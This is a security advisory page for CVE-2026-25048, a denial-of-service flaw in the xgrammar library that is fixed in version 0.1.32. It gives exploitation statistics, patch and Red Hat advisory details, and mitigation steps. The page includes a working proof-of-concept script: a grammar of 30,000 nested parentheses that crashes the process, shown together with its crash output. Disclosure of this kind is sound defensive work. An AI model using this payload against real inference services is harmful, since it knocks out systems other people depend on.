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CVE-2026-25048 — xgrammar

CVE-2026-25048 is a CWE-674 vulnerability in xgrammar. A fix is available for xgrammar — see the affected versions and patch details below.

xgrammar: Multi-layer nesting causes DoS

Also known asGHSA-7rgv-gqhr-fxg3PYSEC-2026-2322
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25048.

EPSS Exploitation Probability

via FIRST.org ↗
1.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs71th percentile — riskier than 71% of all scored CVEsHighest risk
0.00%0.61%1.21%1.82%0.1%1.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍xgrammar

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The multi-level nested syntax caused a segmentation fault (core dump).

Details

A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.

PoC

#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""

import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig

s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"

def main():
    device = "cuda" if torch.cuda.is_available() else "cpu"
    model_name = "Qwen/Qwen2.5-0.5B-Instruct"
    
    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == "cuda" else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)
    
    # Math expression grammar
    math_grammar = grammar
    
    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)
    
    # Generate
    prompt = "Math: "
    inputs = tokenizer(prompt, return_tensors="pt").to(device)
    
    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
    
    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,
        logits_processor=[xgr_processor]
    )
    
    result = tokenizer.decode(
        output_ids[0][len(inputs.input_ids[0]):],
        skip_special_tokens=True
    )
    
    print(f"Generated expression: {result}")

if __name__ == "__main__":
    main()
> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page: 
Author: MLC Team
Author-email: 
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by: 

> python3 1.py 
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)

Impact

DoS

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIxgrammarall versions0.1.32pip install --upgrade 'xgrammar==0.1.32'

Affected Products

1 product · 1 configurations
Application
xgrammarmlc-ai
< 0.1.32
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for xgrammar, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update xgrammar to 0.1.32 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25048 is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
Source: Red Hat security advisory for CVE-2026-25048 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat AI Inference Server 3.2rhaiis/vllm-cuda-rhel9:1774351144RHSA-2026:5809
Red Hat AI Inference Server 3.2rhaiis/model-opt-cuda-rhel9:1774547384RHSA-2026:6761
Red Hat AI Inference Server 3.2rhaiis/vllm-rocm-rhel9:1775252598RHSA-2026:6762
Red Hat OpenShift AI 2.25rhoai/odh-vllm-gaudi-rhel9:1780069069RHSA-2026:24977
Red Hat OpenShift AI 2.25rhoai/odh-vllm-cuda-rhel9:1783998774RHSA-2026:42644

Frequently Asked Questions

### Summary The multi-level nested syntax caused a segmentation fault (core dump). ### Details A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses. ### PoC ``` #!/usr/bin/env python3 """ XGrammar - Math Expression Generation Example """ import xgrammar as xgr import torch from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig s = '(' * 30000 + 'a' grammar = f"root ::= {s}" def main(): device = "cuda" if torch.cuda.is_available() else "cpu" model_name = "Qwen/Qwen2.5-0
O3 Security · Impact-Aware SCA

Is CVE-2026-25048 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-25048: xgrammar DoS — Fixed in 0.1.32